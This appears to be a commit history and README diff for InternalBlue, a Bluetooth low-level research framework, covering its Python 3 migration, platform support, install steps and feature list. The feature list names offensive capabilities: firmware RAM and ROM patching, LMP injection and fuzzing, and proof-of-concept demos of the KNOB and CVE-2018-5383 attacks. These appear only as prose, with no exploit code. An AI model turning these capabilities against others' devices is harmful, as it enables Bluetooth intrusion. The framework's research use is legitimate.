165 Commits

Author SHA1 Message Date
Florian Magin 48461fbd17 Update nearly all examples to Python3 2020-03-25 22:47:46 +01:00
Florian Magin a3d418a262 Fix Nexus6P KNOB PoC 2020-03-25 22:26:34 +01:00
Jiska Classen a435466c01 breakpoint handling and stacktrace parsing 2020-03-25 19:33:22 +01:00
Jiska Classen 5863b11104 linux issue in ioscore, cyw20819 launch_ram note 2020-03-25 03:41:55 +01:00
Florian Magin 8e93878e08 Fix import related issues
Two problems were fixed:
__future__ imports must be the first import of a file, otherwise python
just refuses the file

The Address Type was used but not correctly imported (and not properly
defined as a NewType, just a Type Alias)
2020-03-24 12:54:45 +01:00
Florian Magin a210025dc5 Add explicit Python 3.6 requirement 2020-03-24 12:35:40 +01:00
Jiska Classen f9c38dfd49 rpi3 install 2020-03-24 01:32:53 +01:00
Jiska Classen aa127b7148 minor bugfixes when working with raspberry pi 3/3+/4 2020-03-23 02:00:30 +01:00
Jiska Classen 5792bca5b8 iOS: recv queue full no longer crashes 2020-03-21 23:25:19 +01:00
Jiska Classen 4df388c37a all firmware files should be python3 now, sendhcicmd cli fixed 2020-03-21 21:56:55 +01:00
Jiska Classen 733cd9ca56 iOS: fixed event len>128 2020-03-21 20:57:24 +01:00
Jiska Classen a8a6623658 python3 ioscore/usbmux issues 2020-03-21 19:50:37 +01:00
Jiska Classen b599213104 iOS & python 2 readme 2020-03-21 03:21:54 +01:00
Jiska Classen df5636b9b8 Nexus 6P / Galaxy S6 fw file fixed 2020-03-21 03:05:17 +01:00
Dennis Heinze 25fa80a416 Introducing the new version of the ios-proxy: internalblued 2020-03-20 17:06:14 +01:00
Dennis Heinze fd7310330b iOSCore uses usbmuxd now 2020-03-20 16:52:42 +01:00
Jiska Classen 65a8ce61e6 Python 3: Nexus 5 stack dump, connection event 2020-03-20 00:41:08 +01:00
Jiska Classen 67ec7f5347 readMemAligned Python3 bug fixed 2020-03-19 18:40:19 +01:00
Jiska Classen 8dce7f86a4 Python 3 \o/ 2020-03-19 16:40:03 +01:00
Florian Magin 692134f748 Document pwntools dev requirement for tests 2020-03-11 15:45:14 +01:00
Florian Magin c2166ce384 Mark trace test as flaky 2020-03-11 15:44:55 +01:00
Florian Magin a7266c819d Prevent orphaned file handle 2020-03-11 15:44:39 +01:00
Florian Magin f6704f904e Check for None instead of False due to changed function signature 2020-03-11 15:25:29 +01:00
Florian Magin 9ed9f6e1cc Fix and readd banner 2020-03-11 15:11:01 +01:00
Florian Magin efe3614ea5 Fix setup.py with new dependencies, entry point and test dependencies 2020-03-11 14:46:17 +01:00
Florian Magin e6b58865dc Add future as a dependency for now (should be removed while removing all remnants of python2 support) 2020-03-11 14:29:07 +01:00
Jiska Classen 8d14ab9485 confirmed that hcicore works on linux, and that adbcore works with and without serial mode. 2020-03-09 21:58:53 +01:00
Florian Magin f4f51a7952 Fix type issue that only workls during type checking 2020-03-09 16:46:25 +01:00
Florian Magin b409207a3e Remove old testcore 2020-03-07 15:38:18 +01:00
Florian Magin fa18727e69 Fix issues in macoscore.py 2020-03-07 15:36:29 +01:00
Florian Magin 6255023db8 Fix issues in ioscore.py 2020-03-07 15:35:47 +01:00
Florian Magin 796eb4cc03 Fix issues in hcicore.py 2020-03-07 15:30:41 +01:00
Florian Magin 6677b86e94 Fix various issues in hci.py 2020-03-07 15:26:18 +01:00
Florian Magin ca070290c5 Fix various issues in core.py 2020-03-07 15:24:14 +01:00
Florian Magin bc3d52f00e Fix various issues in cmds.py 2020-03-07 15:09:03 +01:00
Florian Magin d737068304 Fix type issues in adbcore.py 2020-03-07 14:22:30 +01:00
Florian Magin e8f6e94e1b Convert HCI COMND dict to proper enum for type checking and documentation purposes 2020-03-07 14:14:54 +01:00
Florian Magin 6e91f9c718 black -t py36 ./internalblue for code formatting 2020-03-07 13:12:52 +01:00
Florian Magin 361892bc06 Type annotations, typing fixes and simple refactors 2020-02-27 14:57:06 +01:00
Florian Magin 2ce2224421 Fix printing by regressing to using pwn directly 2020-02-27 14:55:02 +01:00
Florian Magin 104a35a79a Fix pwnlib related refactor so it still works with python2 2020-02-27 14:41:45 +01:00
Florian Magin e6b99906c9 Remove all 'from pwn import *' in internalblue code 2020-02-27 13:00:01 +01:00
Florian Magin d3059b01d8 Fix subtle byte vs int issues ( 0 != '\x00 is True) 2020-02-27 11:18:21 +01:00
Florian Magin a7066170fc Declare startup trace on adbcore as flaky (works when run directly, doesn't work as part of suite) 2020-02-27 11:13:47 +01:00
Davide Toldo 748c713f67 Fix one of the traces in Python 3 2020-02-23 16:58:01 +01:00
Florian Magin 0864e96569 Propagate exceptions to test framework, ensure required pwnlibs version, ensure that traces don't abort early 2020-02-20 15:23:03 +01:00
Davide Toldo c6e39cb18f * Make pytest testcases Python 2 & 3 compatible
* Make InternalBlue start with ADBCore in Python 3
* Make InternalBlue start with HCICore in Python 3
* Substitute var.decode('hex') with bytearray.fromhex(var) in most places I found which works in Python 2 and 3 and performs the same task
* Substitute var.encode('hex') with new byte_to_hex function that works with Python 2 and 3 (in util.py)
* Declare variables explicitly as bytes instead of strings
* Fix small issue in macOS Core (explicit declaration of variable as byte)
2020-02-17 03:02:59 +01:00
Davide Toldo 07c5c4c336 * CLI now starts up (at least on mac) on Python 2 and 3
* Tests run, some throw errors.
2020-02-16 20:07:23 +01:00
Florian Magin 01589f8eee Hack around pwnlibs treating everything as bytes 2020-02-15 16:58:54 +01:00
Florian Magin d9de8f0d83 Some byte fixes in hcicore 2020-02-15 16:58:19 +01:00
Florian Magin 9b8d5b0740 Move requirements to setup.py 2020-02-15 16:51:43 +01:00
Florian Magin e53edb1ec9 Some byte fixes 2020-02-15 16:51:30 +01:00
Florian Magin b72e12b5a6 Fix subtle syntax change for python3 2020-02-15 16:39:59 +01:00
Florian Magin d7b3b8e7a1 First steps of automatic Python3 conversion
Commands in order:
- `futurize ./ -w -n`

- git grep -l "queue\.Empty" | xargs sed -i 's/queue\.Empty/queue2k.Empty/'

- git grep -l "queue\.Queue" | xargs sed -i 's/queue\.Queue/queue2k.Queue/'

- git grep -l "import queue" | xargs sed -i 's/import queue/import queue as queue2k/'

The search and replaces are needed because the local variables named
`queue` break the module that is called `queue` instead of `Queue` in
Python3

The testcases all still pass with python 2 but with python3 break
completely due to pwnlib issues
2020-02-15 15:52:12 +01:00
Florian Magin 2e49149639 Make ReplaySocket less verbose 2020-02-15 15:39:13 +01:00
Florian Magin 71b706139f Remove broken attempt at logging replacement 2020-02-15 14:48:23 +01:00
Florian Magin 2d713fcba6 Rename and skip broken trace tests 2020-02-15 14:35:57 +01:00
Florian Magin 79c94ab48b Move parsing logic to ConnectionInformation class 2020-02-15 14:28:37 +01:00
Florian Magin d691765c2b Linting related changes 2020-02-15 14:28:37 +01:00
Davide Toldo 004ee68fe5 Create object to pass around connection information instead of a dictionary 2020-02-15 14:28:37 +01:00
Davide Toldo fce72a2e8d Create object to pass around queue information instead of a dictionary
Signed-off-by: Davide Toldo <davide.toldo@stud.tu-darmstadt.de>
2020-02-15 14:28:37 +01:00
Davide Toldo b57d3d417f Add test for third dictionary (queue info) 2020-02-15 14:28:37 +01:00
Davide Toldo 4e9e82619a Add test for second dictionary, but new heap structure 2020-02-15 14:28:37 +01:00
Davide Toldo 657714acc6 Add test for second dictionary 2020-02-15 14:28:37 +01:00
Florian Magin 3b0478b0a5 First dict nosetest (#15)
* Add nose test for connection information retrieval

* forgot to add the required testcase

* Add new info connections trace where a device is actually connected

* Add nose test for connection information retrieval with real device connected

* Clean up structure
Add Galaxy S8 traces (new heap structure)
Delete unnecessary, failing macOS trace

* Add two more traces that cover the new memory layout branch in readHeapInformation

* Turn info_conn into proper tests

* Move the trace tests to a separate module

Co-authored-by: Davide Toldo <davidetoldo@posteo.de>
2020-02-15 14:28:37 +01:00
Florian Magin b386edbee1 Save all exceptions in the hooks into the core and add better error printing to the main thread (only works if some hook is active for now) 2020-02-15 14:28:37 +01:00
Florian Magin 6badef2279 Fix Hook Signatures to include the reference to the running core 2020-02-15 14:28:37 +01:00
Florian Magin f8e638e277 Allow main thread to detect when the send thread crashed with an AssertError and reraise it for full context and so testing frameworks can detect the failure 2020-02-15 14:28:37 +01:00
Florian Magin 1dfcc04a51 Remove the old method that manually searched the tests. Replaced with generate_test_suite to generate a UnittestSuite 2020-02-15 14:28:37 +01:00
Florian Magin 20a458d483 Rename the test function so it doesn't start with "test_" which confuses test frameworks and makes it clear that this function isn't a valid testcase by itself 2020-02-15 14:28:37 +01:00
Davide Toldo 8f63c5620e * Add ability to send ACL Data in macOS
* Clean up IOBluetoothExtended framework
2020-02-15 14:28:37 +01:00
Davide Toldo 1e88694f69 Add second patchrom trace for ADB Core for other branch 2020-02-15 14:28:37 +01:00
Davide Toldo 47640bdd58 Add patchrom trace for ADB Core 2020-02-15 14:28:37 +01:00
Florian Magin b10c6764b8 Allow test module to be tested with unittest by dynamically generating a test suite from trace files 2020-02-15 14:28:37 +01:00
Davide Toldo 9d4dab89f9 Add connection created / completed trace 2020-02-15 14:28:37 +01:00
Florian Magin 9e10339c9b More adbcore traces 2020-02-15 14:28:37 +01:00
Florian Magin e2fca88f2e Refactor replaying to centralise replay logic 2020-02-15 14:28:37 +01:00
Florian Magin 54470b7395 Mitigate race condition in replay 2020-02-15 14:28:37 +01:00
Davide Toldo d71e422884 Update gitignore 2020-02-15 14:28:37 +01:00
Davide Toldo c7ba318014 Add some traces 2020-02-15 14:28:37 +01:00
Davide Toldo 68d87b6e66 Hook ADBCore 2020-02-15 14:28:37 +01:00
Davide Toldo 4df59ca00c Make macos core less verbose (forgot to remove line) 2020-02-15 14:28:37 +01:00
Davide Toldo d9fd55bded Add 2 ADB traces 2020-02-15 14:27:35 +01:00
Florian Magin 532c36f8c9 Add wrappers to run trace tests via Python (to support IDE integration) 2020-02-15 14:27:35 +01:00
Florian Magin e339d34eca Allow CLI arguments to be passed in via an already parsed namespace instead 2020-02-15 14:27:35 +01:00
Florian Magin f1dadd9e79 Add command to hexdump trace 2020-02-15 14:27:35 +01:00
Florian Magin 225924ed5a Remove broken trace files 2020-02-15 14:27:35 +01:00
Florian Magin 96a9857229 Move traces to dedicate folders per core 2020-02-15 14:27:35 +01:00
Davide Toldo fc8258a072 Fix getsockname hook to work with macos framework 2020-02-15 14:27:35 +01:00
Davide Toldo 7f792d44cf Add pyobjc as optional dependency for macoscore 2020-02-15 14:27:35 +01:00
Florian Magin c0c3583361 Fix readafh.trace 2020-02-15 14:27:35 +01:00
Florian Magin bfa8902e56 Only close sockets once 2020-02-15 14:27:35 +01:00
Florian Magin 246fcd4e3e Fix MacOS replay and make it work on non MacOS platforms 2020-02-15 14:27:35 +01:00
Davide Toldo 21377ee4da Move init of IOBE to initializer of macOS core 2020-02-15 14:27:35 +01:00
Davide Toldo 9a33fda745 Add startup trace 2020-02-15 14:27:35 +01:00
Davide Toldo 4642ff4fa5 Add some traces 2020-02-15 14:27:35 +01:00
Florian Magin 1927b2ed15 Add generic trace test, example traces, and allow command to be specified in trace 2020-02-15 14:27:35 +01:00
Davide Toldo 7472ddf388 Make tracing work on macOS (sort of) 2020-02-15 14:27:35 +01:00
Florian Magin ac94f9295d Implement save and replay of traces 2020-02-15 14:27:35 +01:00
Florian Magin b81e4c861a Hci hooking (#13)
* Partial refactoring of hooking

* Fix logging in core.py and print exceptions in _sendThreadFunc in the log

* Refactor hci hooking
2020-02-15 14:27:35 +01:00
Florian Magin ca7a2071b1 Add recvfrom in SocketRecvHook 2020-02-15 14:27:35 +01:00
Florian Magin 3902a17680 Add lowest level HCI tracing functionality 2020-02-15 14:27:35 +01:00
Florian Magin 13c435b56e Fix minor None check 2020-02-15 14:27:35 +01:00
Florian Magin 63b4177a65 Allow specification of decive via CLI arg 2020-02-15 14:27:35 +01:00
Florian Magin 4979dfd428 Add type annotation to device_list 2020-02-15 14:27:35 +01:00
Florian Magin 8a5f478ed3 Add required interface methods as NotImplemented 2020-02-15 14:27:35 +01:00
Florian Magin 2d97d0cb13 Add hci command test 2020-02-15 14:27:35 +01:00
Florian Magin a2e3929512 Add first testcases 2020-02-15 14:27:35 +01:00
Florian Magin e73299de42 Make args to internalblue_cli explicit so it can be called with custom args from python 2020-02-15 14:27:35 +01:00
Florian Magin b2c0ff6a62 Annotate testcore device_list 2020-02-15 14:27:35 +01:00
Florian Magin fdc47f52f8 Remove usage of logging wrapper for now 2020-02-15 14:27:35 +01:00
Florian Magin 5141aafaa9 Add --overwrite to memdump for testing 2020-02-15 14:27:35 +01:00
Florian Magin 8bc9b2c373 Add logging wrapper 2020-02-15 14:27:35 +01:00
Florian Magin c3d6c6dd6b Add init command argument for testing 2020-02-15 14:27:35 +01:00
Florian Magin 40909ed594 Annotations and import fixes 2020-02-15 14:27:35 +01:00
Florian Magin 29fd6420dd Minor fixes and annotations 2020-02-15 14:27:35 +01:00
Florian Magin 87a9496a19 Add type annotations for cmds 2020-02-15 14:27:35 +01:00
Florian Magin 62eda55e32 Type annotations for core.py and general type aliases 2020-02-15 14:27:35 +01:00
Davide Toldo eacd04811b Add write memory functionality to testcore 2020-02-15 14:27:35 +01:00
Davide Toldo 5959cd70f2 Fix bug 2020-02-15 14:27:35 +01:00
Davide Toldo ec3bddd71b Fix bug 2020-02-15 14:27:35 +01:00
Davide Toldo c8cda935a6 Some cleanup 2020-02-15 14:27:35 +01:00
Davide Toldo 854f57a3f9 Functional startup and memory reads 2020-02-15 14:27:35 +01:00
Jiska Classen e89a84812e updated readme 2020-02-06 00:55:20 +01:00
Jiska Classen dd9d76cff9 Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2020-02-03 23:38:32 +01:00
Jiska Classen 58f9688b84 updated firmware files 2020-02-03 23:38:00 +01:00
Davide Toldo 45ec18744e Make macos core less verbose (forgot to remove line) 2020-01-22 12:52:07 +01:00
Davide Toldo 45054b68c7 Use seemoo bundle identifier in macoscore 2019-12-22 15:36:16 +01:00
Davide Toldo 09149a2986 Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2019-12-22 14:49:09 +01:00
Davide Toldo dd19701c29 Use seemoo bundle identifier and 1 little change for disconnection complete 2019-12-22 14:48:49 +01:00
Jiska Classen a7ca8986d5 KNOB for Nexus 6P 2019-12-11 20:05:02 +01:00
Jiska Classen bf023043fb EWSN Paper: RXDN hook (BLE_Reception_PoC.py) 2019-12-11 13:58:58 +01:00
Davide Toldo 8045ff091e Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2019-11-16 19:02:51 +01:00
Davide Toldo b8a2ce4b88 Cleanup some dead code 2019-11-16 19:02:25 +01:00
Dennis Heinze 5096123ffe Make internalblue on iOS reliable by buffering and checking H4 data 2019-11-13 19:29:38 +01:00
Dennis Heinze db7f30e26d Remove buffering and make ios-proxy more reliable 2019-11-13 19:27:41 +01:00
Dennis Heinze ab5e8f2c91 Add more iPhone 7 FW details 2019-11-13 19:26:36 +01:00
Jiska Classen 4c13360fdd only import macos core if we are on macos (otherwise unneeded dependencies are included) 2019-10-23 17:12:12 +02:00
Davide Toldo 8eb34e7ba9 Remove unnecessary output from framework
Add instructions for Wireshark
2019-10-23 12:54:51 +02:00
Davide Toldo 9aae6af582 * Add source of macOS framework and build instructions
* Add automatic detection of macOS - no -m parameter needed anymore
2019-10-23 12:24:21 +02:00
Davide Toldo 2becb2c677 Improve Mac instructions 2019-10-21 12:31:49 +02:00
Davide Toldo baa828e54c macOS bugfixes:
* Fix bug that showed "connection complete" twice with a broken second response
* Fix bug that caused a crash if cancelling a connection request from the mac
2019-10-15 02:13:12 +02:00
Jiska Classen 4577f04292 minor fix for macos vs ios core, added iphone 6 patchram support 2019-10-15 00:43:47 +02:00
Davide Toldo 4390105641 Minor changes for macOS 2019-10-09 14:22:29 +02:00
Davide Toldo c6486bb4e2 Minor changes for macOS 2019-10-09 14:08:22 +02:00
Davide Toldo a1b3b88afc Add macOS support 2019-10-09 13:34:38 +02:00
Davide Toldo e049bbb622 Add fw file 2019-10-09 13:24:28 +02:00
Davide Toldo 982d403ec0 Fix connection complete for incoming requests and disconnection complete 2019-10-09 13:21:49 +02:00
Jiska Classen 383dfaf554 minor port number bugfix and fw addition 2019-10-09 13:21:29 +02:00
Davide Toldo af7df43f0b Improve Syntax 2019-10-03 18:19:14 +02:00
Davide Toldo 29f3817b0c Pass command length to IOBE; fixes non-working writeMem for example 2019-10-01 16:08:31 +02:00
Davide Toldo f63248480b * Add significantly faster IOBE Framework
* Use random ports instead of hardcoded ones
* Update macos requirements
2019-10-01 14:31:23 +02:00
Davide Toldo e66f506ac3 Switch to UDP 2019-10-01 01:13:22 +02:00
Jiska Classen 9d9b98ce71 new nexus5 knob poc with automatic callback 2019-09-28 03:05:57 +02:00
Davide Toldo f6fbe61d0f Optimize framework a bit and comment out a debug output in macOS core 2019-09-27 02:02:01 +02:00
Jiska Classen 6d3eb20e77 minor fixes in existing fw files, updated device database 2019-09-26 14:34:45 +02:00
Davide Toldo 5a64fefcaf Add firmware file for MBPr 2014 2019-09-24 16:06:21 +02:00
Davide Toldo 88734f1627 Update Framework 2019-09-24 16:05:54 +02:00
Davide Toldo ecbc710be2 Result from Bluetooth chip is now correctly returned via TCP socket. Simplified access from Python: Only create a single object with the in and output ports as parameters. 2019-09-20 20:53:34 +02:00
Jiska Classen 598a72dc50 updated hardware database, added rpi3 poc for knob 2019-09-19 09:59:11 +02:00
Davide Toldo 4b4a91db37 Use TCP Sockets to send commands to IOBluetoothExtended and to receive the result. Works perfectly, on its own thread etc., but currently returns a dummy response instead of a response from the Chip. 2019-09-19 03:10:17 +02:00
Jiska Classen 594bedfc7f updated readmes 2019-09-16 15:10:40 +02:00
Davide Toldo 4b6dba5252 Current status:
* Framework works
* Communication with Python works
* Both over UDP and via Objc NSNotificationCenter
* Current issue: Doesn't work on (background?) threads e.g. _sendThreadFunc
2019-09-05 01:29:29 +02:00
Davide Toldo 88f66a5fe1 Add macOS core to cli.py 2019-09-05 01:26:29 +02:00
Jiska Classen 9cd8c64104 KNOB PoCs for RPi 3+/4, Galaxy S8, CYW20735, Nexus 5 2019-09-04 22:47:38 +02:00
146 changed files with 16730 additions and 4314 deletions
+8
View File
@@ -17,3 +17,11 @@ btsnoop.log
# xcode
xcuserdata
*.xcworkspace
macos-framework/IOBluetoothExtended.framework/
# venv
venv
venv3
# pycharm
*.idea
+184 -144
View File
@@ -8,154 +8,20 @@ therefore implement monitoring and injection tools for the lower layers of
the Bluetooth protocol stack.
Setup and Installation
----------------------
Recent Changes
--------------
* We upgraded from Python 2 to Python 3. If you wrote your own scripts, this might break them. In this case, use
the [python2](https://github.com/seemoo-lab/internalblue/releases/tag/python2) release.
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android.
If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The InternalBlue framework is written in Python 2. You can install it together
with all dependencies by using pip:
git clone https://github.com/seemoo-lab/internalblue.git
cd internalblue
pip2 install .
It will install the following dependencies:
* pwntools
The pwntools module needs the binutils package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
of your Linux distribution:
# for Arch Linux
sudo pacman -S arm-none-eabi-binutils
# for Ubuntu
sudo apt install binutils-arm-linux-gnueabi
All steps on a plain Ubuntu 18.04:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
sudo pip2 install .
cd ..
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
cd h4bcm_wireshark_dissector
mkdir build
cd build
cmake ..
make
make install
Packets required on a current (July 2019) Raspian:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python-setuptools binutils-arm-none-eabi adb python-pip python-dev gcc libffi-dev
* We reworked the *iOS* implementation.
Usage
-----
The CLI (Command Line Interface) of InternalBlue can be started by running:
python2 -m internalblue.cli
The setup.py installation will also place a shortcut to the CLI into the $PATH
so that it can be started from a command line using:
internalblue
It should automatically connect to your Android phone through ADB or your local Linux
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
requests) and some commands require privileged users (i.e. establishing connections).
Use the *help* command to display a list of available commands. A typical set of
actions to check if everything is working properly would be:
wireshark start
connect ff:ff:13:37:ab:cd
sendlmp 01 -d 02
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want.
Requirements
------------
Android:
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339 and Evaluation Boards
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
Linux:
* BlueZ, instructions see [here](linux_bluez/README.md)
* Best support for Raspberry Pi 3/3+/4
* For most commands: Privileged access
iOS:
* A jailbroken iOS device (tested on iOS 12.1.2 with iPhone 6+7)
* The included `ios-proxy` (instructions in [here](ios-proxy/README.md))
* Optional: a Mac with `xcode` to compile the proxy yourself
Supported Features
------------------
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret coredumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
Background
----------
Publications and Background
---------------------------
* **Master Thesis** (07/2018)
InternalBlue was initially developed and documented in the
*InternalBlue* was initially developed and documented in the
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
@@ -190,7 +56,181 @@ was also recorded and gives a more high level overview.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It gives a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
* **MRMCD Talk** (09/2019)
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **36C3 Talk** (12/2019)
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
points out a couple of new research directions and new Bluetooth projects coming up.
* **EWSN Paper & Demo** (02/2020)
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
* **CiderSecCon Talk** (03/2020)
TROOPERS was canceled, but we did a stream of a talk that was recorded on [YouTube](https://www.youtube.com/watch?v=Nx2ZDLaJ1-0&t=4920).
Supported Features
------------------
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* KNOB attack test for various devices, including Raspberry Pi 3+/4
* BLE receptoin statistics
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
Requirements
------------
Android:
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
Linux:
* BlueZ, instructions see [here](linux_bluez/README.md)
* Best support for Raspberry Pi 3/3+/4 and Cypress evaluation boards
* For most commands: Privileged access
iOS:
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X , does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
* The [``internalblued`` daemon](ios-internalblued/README.md) installed on the iOS device
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
macOS:
* Homebrew
* Xcode 10.2.1
* Instructions see [here](macos-framework/README.md)
Setup and Installation
----------------------
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android.
If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The InternalBlue framework is written in Python 2. You can install it together
with all dependencies by using pip:
git clone https://github.com/seemoo-lab/internalblue.git
cd internalblue
pip install .
It will install the following dependencies:
* pwntools
The pwntools module needs the binutils package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
of your Linux distribution:
# for Arch Linux
sudo pacman -S arm-none-eabi-binutils
# for Ubuntu
sudo apt install binutils-arm-linux-gnueabi
All steps on a plain Ubuntu 18.04:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
sudo pip install .
cd ..
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
cd h4bcm_wireshark_dissector
mkdir build
cd build
cmake ..
make
make install
Packets required on a current (March 2020) Raspbian:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python3-setuptools binutils-arm-none-eabi adb python3-pip python3-dev gcc libffi-dev
Usage
-----
The CLI (Command Line Interface) of InternalBlue can be started by running:
python -m internalblue.cli
The setup.py installation will also place a shortcut to the CLI into the $PATH
so that it can be started from a command line using:
internalblue
It should automatically connect to your Android phone through ADB or your local Linux
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
requests) and some commands require privileged users (i.e. establishing connections).
Use the *help* command to display a list of available commands. A typical set of
actions to check if everything is working properly would be:
wireshark start
connect ff:ff:13:37:ab:cd
sendlmp 01 -d 02
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want.
@@ -198,7 +238,7 @@ was also recorded and gives a more high level overview.
License
-------
Copyright 2018-2019 Dennis Mantz, Jiska Classen
Copyright 2018-2020 The InternalBlue Team
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
BIN
View File
Binary file not shown.
+42 -16
View File
@@ -1,22 +1,48 @@
InternalBlue PoCs and Examples
==============================
The following examples were tested on a *Nexus 5* (*BCM4339* chip with firmware *BCM4335C0*) on *Android* and *LineageOS*.
* [CVE_2018_5383_Invalid_Curve_Attack_PoC](CVE_2018_5383_Invalid_Curve_Attack_PoC.py)
provides tries to set the y-coordinate during ECDH key exchange to zero. If the device under test accepts the pairing (50% probability), it is vulnerable.
* [LMP_MAC_Address_Filter](LMP_MAC_Address_Filter.py)
replies to all LMP packets with `LMP_not_accepted` if their source is not from a MAC address in the whitelist.
* [NiNo_PoC](NiNo_PoC.py) sets the IO capabilities of the *Nexus 5* to no input, no output.
